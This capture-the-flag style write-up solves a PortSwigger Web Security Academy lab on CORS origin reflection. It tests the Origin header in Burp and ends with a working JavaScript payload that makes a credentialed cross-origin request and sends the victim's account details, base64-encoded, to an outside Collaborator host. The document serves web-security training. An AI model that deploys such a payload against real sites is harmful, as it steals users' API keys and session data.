| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | CORS Misconfiguration — Origin Reflection |
| Difficulty | Apprentice |
| Objective | Exfiltrate the administrator's API key via a CORS-based attack |
CORS Vulnerability with Basic Origin Reflection — Writeup¶
Initial Observation¶
Logged in as wiener:peter. The account page shows an API key that takes a second to appear — something is fetching it asynchronously. Inspecting the source:
<div>Your API Key is: <span id=apikey></span></div>
fetch('/accountDetails', {credentials:'include'})
.then(r => r.json())
.then(j => document.getElementById('apikey').innerText = j.apikey)
The API key comes from /accountDetails. Navigating there directly:
{
"username": "wiener",
"email": "",
"apikey": "rViqpaxRQWs0UTcB3QVx2QwHjKU5sjyx",
"sessions": [
"dzxv9ybTSOWZxxGMpIq2TrYAdNO7WxZI"
]
}
Web — Testing the CORS Policy¶
Intercepting the /accountDetails request in Burp, sending it to Repeater, and adding an Origin header:
Origin: https://teto.com
Response:
Access-Control-Allow-Origin: teto.com
Access-Control-Allow-Credentials: true
The server reflects whatever origin we send back in Access-Control-Allow-Origin, and Access-Control-Allow-Credentials: true means the browser will include session cookies in cross-origin requests and allow the response to be read by the requesting script. Any domain we control will be trusted.
Attack Path¶
Building the Exfiltration Script¶
First attempt — basic XHR to /accountDetails:
<script>
var req = new XMLHttpRequest();
req.open("GET", "https://0aab003904b2c54980b603e800250056.web-security-academy.net/accountDetails", true);
req.send();
</script>
The request goes out with our exploit server as the Origin, but the response is 401 Unauthorized. The request is cross-origin but without credentials — the victim's session cookie isn't being sent.
Adding req.withCredentials = true fixes that. Using new Image().src for exfiltration instead of location = — image requests are less likely to be blocked by CSP and don't interrupt the execution context:
<script>
var req = new XMLHttpRequest();
req.onload = function(){
new Image().src = "https://3z3nm2scgc2w7v4fe1y90lzznqthh75w.oastify.com/?tetoKey=" + btoa(req.responseText);
};
req.open("GET", "https://0aab003904b2c54980b603e800250056.web-security-academy.net/accountDetails", true);
req.withCredentials = true;
req.send();
</script>
Delivering the exploit to the victim. Burp Collaborator receives the request — decoding the base64 gives us the administrator's API key.
Submitting it solves the lab:
Lab solved >..<